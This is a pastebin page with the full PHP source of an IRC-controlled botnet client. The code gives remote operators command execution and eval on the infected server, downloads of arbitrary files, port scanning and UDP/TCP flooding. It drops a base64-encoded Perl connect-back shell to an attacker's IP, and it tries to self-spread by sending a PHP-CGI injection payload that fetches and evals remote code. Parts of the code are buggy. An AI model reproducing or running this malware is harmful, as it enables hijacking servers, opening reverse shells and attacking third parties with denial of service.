Part of Slepp's ProjectsPastebinTURLImagebinFilebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Advertising

Anonymous
Monday, May 7th, 2012 at 2:39:33am MDT 

  1. <?
  2. set_time_limit(0);
  3. error_reporting(0);
  4. $word = 'rp66sp64ej43a6dis63s1';
  5. echo md5($word);
  6. echo "ok!";
  7. class pBot
  8. {
  9.  var $config = array("server"=>"irc.voxanon.net",
  10.                      "port"=>"6667",
  11.                      "pass"=>"",
  12.                      "prefix"=>"[^-^]",
  13.                      "maxrand"=>"5",
  14.                      "chan"=>"#botsec",
  15.                      "chan2"=>"#botsec",
  16.                      "key"=>"",
  17.                      "modes"=>"+p",
  18.                      "password"=>"lol",
  19.                      "trigger"=>".",
  20.                      "hostauth"=>"*" // * for any hostname (remember: /setvhost pucorp.org)
  21.                      );
  22.  var $users = array();
  23. function spread_subnet()
  24.  {
  25.   $serv = $_SERVER['SERVER_NAME'];
  26.   $addr = gethostbyaddr($serv);
  27.   $int = inet_pton($addr);
  28.   $a = ($int & 0xFF000000) << 24;
  29.   $b = ($int & 0x00FF0000) << 16;
  30.   for($c=0;$c<256;++$c) {
  31.     for($d=0;$d<256;++$d) {
  32.       $h = '$a.$b.$c.$d';
  33.       exploit($host);
  34.     }
  35.    }
  36.  }
  37.                 function spread_rand($loops) {
  38.                   for($i=1;$i<=$loops;++$i) {
  39.                     $a = mt_rand(0,255);
  40.                     $b = mt_rand(0,255);
  41.                     $c = mt_rand(0,255);
  42.                     $d = mt_rand(0,255);
  43.                                  $host = "$a.$b.$c.$d";
  44.                                  exploit($host);
  45. }}
  46.                 function curl_fetch($url, $post) {
  47.                         $ch = curl_init();
  48.                         curl_setopt ($ch, CURLOPT_URL, $url);
  49.                         curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 30);
  50.                         curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
  51.                         curl_setopt ($ch, CURLOPT_POST, true);
  52.                         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  53.          $page = curl_exec($ch);
  54.                         curl_close($ch);
  55.                         return $page;
  56.             }
  57.             function get_domains($ip) {
  58.                     $page = curl_fetch("http://www.ipfingerprints.com/scripts/getReverseIP.php", "remoteHost=".$ip);
  59.                     $decoded = json_decode($page, true);
  60.                     preg_match_all("/href=\"([^\"]*)\">(.*)<\/a>/iU", $decoded["reverseIP"], $matches, PREG_SET_ORDER);
  61.                     $ret = array();
  62.                     foreach($matches as $match) {
  63.                             $ret[] = $match[2];
  64.                     }
  65.                     return $ret;
  66.                 }
  67.                 function exploit($host) {
  68.                         $domains = get_domains($host);
  69.                         foreach($domains as $domain) {
  70.                                 pwn($domain);
  71.                         }
  72.                 }
  73.                 function pwn($domain) {
  74.                         $payload = "<?php $r=new HttpRequest(\'exploit\');$r->send();file_put_contents(\'help.php\', $r->getResponseBody());eval(file_get_contents(\'./help.php\'));>";
  75.                         $request = "'POST /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3D$payload%20-n\r\nHost: $domain\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
  76.                         $pwnage = new HttpRequest($domain);
  77.                         $sock = fsockopen($domain, 80,  $errno, $errstr, 30);
  78.                         if($sock) { return; }
  79.                         socket_write($sock, $request, strlen($request));
  80.                    }
  81.  function start()
  82.  {
  83.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  84.        $this->start();
  85.     $ident = $this->config['prefix'];
  86.     $alph = range("0","9");
  87.     for($i=0;$i<$this->config['maxrand'];$i++)
  88.        $ident .= $alph[rand(0,9)];
  89.     if(strlen($this->config['pass'])>0)
  90.        $this->send("PASS ".$this->config['pass']);
  91.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  92.     $this->set_nick();
  93.     $this->main();
  94.  }
  95.  function main()
  96.  {
  97.     while(!feof($this->conn))
  98.     {
  99.        $this->buf = trim(fgets($this->conn,512));
  100.        $cmd = explode(" ",$this->buf);
  101.        if(substr($this->buf,0,6)=="PING :")
  102.        {
  103.           $this->send("PONG :".substr($this->buf,6));
  104.        }
  105.        if(isset($cmd[1]) && $cmd[1] =="001")
  106.        {
  107.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  108.           $this->join($this->config['chan'],$this->config['key']);
  109.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  110.           else { $safemode = "off"; }
  111.           $uname = php_uname();
  112.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  113.           $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  114.        }
  115.        if(isset($cmd[1]) && $cmd[1]=="433")
  116.        {
  117.           $this->set_nick();
  118.        }
  119.        if($this->buf != $old_buf)
  120.        {
  121.           $mcmd = array();
  122.           $msg = substr(strstr($this->buf," :"),2);
  123.           $msgcmd = explode(" ",$msg);
  124.           $nick = explode("!",$cmd[0]);
  125.           $vhost = explode("@",$nick[1]);
  126.           $vhost = $vhost[1];
  127.           $nick = substr($nick[0],1);
  128.           $host = $cmd[0];
  129.           if($msgcmd[0]==$this->nick)
  130.           {
  131.            for($i=0;$i<count($msgcmd);$i++)
  132.               $mcmd[$i] = $msgcmd[$i+1];
  133.           }
  134.           else
  135.           {
  136.            for($i=0;$i<count($msgcmd);$i++)
  137.               $mcmd[$i] = $msgcmd[$i];
  138.           }
  139.           if(count($cmd)>2)
  140.           {
  141.              switch($cmd[1])
  142.              {
  143.                 case "QUIT":
  144.                    if($this->is_logged_in($host))
  145.                    {
  146.                       $this->log_out($host);
  147.                    }
  148.                 break;
  149.                 case "PART":
  150.                    if($this->is_logged_in($host))
  151.                    {
  152.                       $this->log_out($host);
  153.                    }
  154.                 break;
  155.                 case "PRIVMSG":
  156.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  157.                    {
  158.                       if(substr($mcmd[0],0,1)==".")
  159.                       {
  160.                          switch(substr($mcmd[0],1))
  161.                          {
  162.                             case "user":
  163.                               if($mcmd[1]==$this->config['password'])
  164.                               {
  165.                                  $this->log_in($host);
  166.                               }
  167.                               else
  168.                               {
  169.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
  170.                               }
  171.                             break;
  172.                          }
  173.                       }
  174.                    }
  175.                    elseif($this->is_logged_in($host))
  176.                    {
  177.                       if(substr($mcmd[0],0,1)==".")
  178.                       {
  179.                          switch(substr($mcmd[0],1))
  180.                          {
  181.                                                                                         case "spread_rand":
  182.                                                                                         {
  183.                                                                                                 $amount = $mcmd[1];
  184.                                                                                                 spread_rand($amount);
  185.                                                                                                  $this->privmsg( $this->get_chan( ), "[\2RANDSPREAD\2] $amount loops.");break;
  186.                                                                                         }
  187.                                                                                         case "spread_sub":
  188.                                                                                         {
  189.                                                                                  $serv = $_SERVER['SERVER_NAME'];
  190.                                                          $addr = gethostbyaddr($serv);
  191.                                                         $int = inet_pton($addr);
  192.                                                          $a = ($int & 0xFF000000) << 24;
  193.                                                          $b = ($int & 0x00FF0000) << 16;
  194.                                                                                                 spread_sub();
  195.                                                                                                 $this->privmsg( $this->get_chan( ), "[\2SUBSPREAD\2] from $a.$b.0.0 -> $a.$b.255.255.");break;}
  196.                                                                                         case "exec":
  197.                                                                                         {
  198.                                                                                                 if( !$this->is_safe( ) )
  199.                                                                                                 {
  200.                                                                                                         $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  201.                                                                                                         $returndata = $this->ex( $command );
  202.                                                                                                         if( !empty( $returndata ) )
  203.                                                                                                         {
  204.                                                                                                                 $this->privmsg( $this->get_chan( ), "[\2EXEC\2] ".$returndata );
  205.                                                                                                         }
  206.                                                                                                 }
  207.                                                                                                 break;
  208.                                                                                         }
  209.  
  210.                             case "restart":
  211.                                $this->send("QUIT :restart commando from $nick");
  212.                                fclose($this->conn);
  213.                                $this->start();
  214.                             break;
  215.                             case "mail": //mail to from subject message
  216.                                if(count($mcmd)>4)
  217.                                {
  218.                                   $header = "From: <".$mcmd[2].">";
  219.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  220.                                   {
  221.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  222.                                   }
  223.                                   else
  224.                                   {
  225.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  226.                                   }
  227.                                }
  228.                             break;
  229.                             case "safe":
  230.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  231.                                {
  232.                                $safemode = "on";
  233.                                }
  234.                                else {
  235.                                $safemode = "off";
  236.                                }
  237.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  238.                             break;
  239.                             case "inbox": //teste inbox
  240.                                if(isset($mcmd[1]))
  241.                                {
  242.                                   $token = md5(uniqid(rand(), true));
  243.                                   $header = "From: <inbox".$token."@xdevil.org>";
  244.                                   $a = php_uname();
  245.                                   $b = getenv("SERVER_SOFTWARE");
  246.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  247.                                   if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <admin@xdevil.org>",$header))
  248.                                   {
  249.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  250.                                   }
  251.                                   else
  252.                                   {
  253.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  254.                                   }
  255.                                }
  256.                             break;
  257.                             case "conback":
  258.                                if(count($mcmd)>2)
  259.                                {
  260.                                   $this->conback($mcmd[1],$mcmd[2]);
  261.                                }
  262.                             break;
  263.                             case "dns":
  264.                                if(isset($mcmd[1]))
  265.                                {
  266.                                   $ip = explode(".",$mcmd[1]);
  267.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  268.                                   {
  269.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  270.                                   }
  271.                                   else
  272.                                   {
  273.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  274.                                   }
  275.                                }
  276.                             break;
  277.                             case "info":
  278.                             case "vunl":
  279.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  280.                                else { $safemode = "off"; }
  281.                                $uname = php_uname();
  282.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  283.                                $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  284.                             break;
  285.                             case "bot":
  286.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
  287.                             break;
  288.                             case "uname":
  289.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  290.                                else { $safemode = "off"; }
  291.                                $uname = php_uname();
  292.                                $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  293.                             break;
  294.                             case "rndnick":
  295.                                $this->set_nick();
  296.                             break;
  297.                             case "raw":
  298.                                $this->send(strstr($msg,$mcmd[1]));
  299.                             break;
  300.                             case "eval":
  301.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  302.                             break;
  303.                                         case "sexec":
  304.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  305.                                $exec = shell_exec($command);
  306.                                $ret = explode("\n",$exec);
  307.                                for($i=0;$i<count($ret);$i++)
  308.                                   if($ret[$i]!=NULL)
  309.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  310.                             break;
  311.                             case "exec":
  312.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  313.                                $exec = exec($command);
  314.                                $ret = explode("\n",$exec);
  315.                                for($i=0;$i<count($ret);$i++)
  316.                                   if($ret[$i]!=NULL)
  317.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  318.                             break;
  319.                             case "passthru":
  320.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  321.                                $exec = passthru($command);
  322.                                $ret = explode("\n",$exec);
  323.                                for($i=0;$i<count($ret);$i++)
  324.                                   if($ret[$i]!=NULL)
  325.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  326.                             break;
  327.                             case "popen":
  328.                                if(isset($mcmd[1]))
  329.                                {
  330.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  331.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  332.                                   $pipe = popen($command,"r");
  333.                                   while(!feof($pipe))
  334.                                   {
  335.                                      $pbuf = trim(fgets($pipe,512));
  336.                                      if($pbuf != NULL)
  337.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  338.                                   }
  339.                                   pclose($pipe);
  340.                                } 
  341.                           
  342.                             case "system":
  343.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  344.                                $exec = system($command);
  345.                                $ret = explode("\n",$exec);
  346.                                for($i=0;$i<count($ret);$i++)
  347.                                   if($ret[$i]!=NULL)
  348.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  349.                             break;
  350.                             case "pscan": // .pscan 127.0.0.1 6667
  351.                                if(count($mcmd) > 2)
  352.                                {
  353.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  354.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  355.                                   else
  356.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  357.                                }
  358.                             break;
  359.                             case "ud.server": // .ud.server <server> <port> [password]
  360.                                if(count($mcmd)>2)
  361.                                {
  362.                                   $this->config['server'] = $mcmd[1];
  363.                                   $this->config['port'] = $mcmd[2];
  364.                                   if(isset($mcmcd[3]))
  365.                                   {
  366.                                    $this->config['pass'] = $mcmd[3];
  367.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  368.                                   }
  369.                                   else
  370.                                   {
  371.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  372.                                   }
  373.                                }
  374.                             break;
  375.                             case "download":
  376.                                if(count($mcmd) > 2)
  377.                                {
  378.                                   if(!$fp = fopen($mcmd[2],"w"))
  379.                                   {
  380.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  381.                                   }
  382.                                   else
  383.                                   {
  384.                                      if(!$get = file($mcmd[1]))
  385.                                      {
  386.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  387.                                      }
  388.                                      else
  389.                                      {
  390.                                         for($i=0;$i<=count($get);$i++)
  391.                                         {
  392.                                            fwrite($fp,$get[$i]);
  393.                                         }
  394.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  395.                                      }
  396.                                      fclose($fp);
  397.                                   }
  398.                                }
  399.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  400.                             break;
  401.                             case "die":
  402.                                $this->send("QUIT :die command from $nick");
  403.                                fclose($this->conn);
  404.                                exit;
  405.                             case "logout":
  406.                                $this->log_out($host);
  407.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  408.                             break;
  409.                             case "udpflood":
  410.                                if(count($mcmd)>3)
  411.                                {
  412.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  413.                                }
  414.                             break;
  415.                             case "tcpflood":
  416.                                if(count($mcmd)>5)
  417.                                {
  418.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  419.                                }
  420.                             break;
  421.                          }
  422.                       }
  423.                    }
  424.                 break;
  425.              }
  426.           }
  427.        }
  428.        $old_buf = $this->buf;
  429.     }
  430.     $this->start();
  431.  }
  432.  function send($msg)
  433.  {
  434.     fwrite($this->conn,"$msg\r\n");
  435.  }
  436.  function join($chan,$key=NULL)
  437.  {
  438.     $this->send("JOIN $chan $key");
  439.  }
  440.  function privmsg($to,$msg)
  441.  {
  442.     $this->send("PRIVMSG $to :$msg");
  443.  }
  444.  function notice($to,$msg)
  445.  {
  446.     $this->send("NOTICE $to :$msg");
  447.  }
  448.  function is_logged_in($host)
  449.  {
  450.     if(isset($this->users[$host]))
  451.        return 1;
  452.     else
  453.        return 0;
  454.  }
  455.  function log_in($host)
  456.  {
  457.     $this->users[$host] = true;
  458.  }
  459.  function log_out($host)
  460.  {
  461.     unset($this->users[$host]);
  462.  }
  463.  function set_nick()
  464.  {
  465.     if(isset($_SERVER['SERVER_SOFTWARE']))
  466.     {
  467.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  468.           $this->nick = "[A]";
  469.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  470.           $this->nick = "[I]";
  471.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  472.           $this->nick = "[X]";
  473.        else
  474.           $this->nick = "[U]";
  475.     }
  476.     else
  477.     {
  478.        $this->nick = "[C]";
  479.     }
  480.     $this->nick .= $this->config['prefix'];
  481.     for($i=0;$i<$this->config['maxrand'];$i++)
  482.        $this->nick .= mt_rand(0,9);
  483.     $this->send("NICK ".$this->nick);
  484.  }
  485.   function udpflood($host,$packetsize,$time) {
  486.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  487.         $packet = "";
  488.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  489.         $timei = time();
  490.         $i = 0;
  491.         while(time()-$timei < $time) {
  492.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  493.         fwrite($fp,$packet);
  494.         fclose($fp);
  495.                 $i++;
  496.         }
  497.         $env = $i * $packetsize;
  498.         $env = $env / 1048576;
  499.         $vel = $env / $time;
  500.         $vel = round($vel);
  501.         $env = round($env);
  502.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  503. }
  504.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  505.  {
  506.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  507.     $packet = "";
  508.     for($i=0;$i<$packetsize;$i++)
  509.        $packet .= chr(mt_rand(1,256));
  510.     for($i=0;$i<$packets;$i++)
  511.     {
  512.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  513.        {
  514.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  515.           return 0;
  516.        }
  517.        else
  518.        {
  519.           fwrite($fp,$packet);
  520.           fclose($fp);
  521.        }
  522.        sleep($delay);
  523.     }
  524.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  525.  }
  526.  function conback($ip,$port)
  527.  {
  528.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  529.     $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
  530.     if (is_writable("/tmp"))
  531.     {
  532.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  533.       $fp=fopen("/tmp/dc.pl","w");
  534.       fwrite($fp,base64_decode($dc_source));
  535.       passthru("perl /tmp/dc.pl $ip $port &");
  536.       unlink("/tmp/dc.pl");
  537.     }
  538.     else
  539.     {
  540.     if (is_writable("/var/tmp"))
  541.     {
  542.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  543.       $fp=fopen("/var/tmp/dc.pl","w");
  544.       fwrite($fp,base64_decode($dc_source));
  545.       passthru("perl /var/tmp/dc.pl $ip $port &");
  546.       unlink("/var/tmp/dc.pl");
  547.     }
  548.     if (is_writable("."))
  549.     {
  550.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  551.       $fp=fopen("dc.pl","w");
  552.       fwrite($fp,base64_decode($dc_source));
  553.       passthru("perl dc.pl $ip $port &");
  554.       unlink("dc.pl");
  555.     }
  556.     }
  557.   }
  558. }
  559. $bot = new pBot;
  560. $bot->start();
  561. ?>

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

worth-right worth-right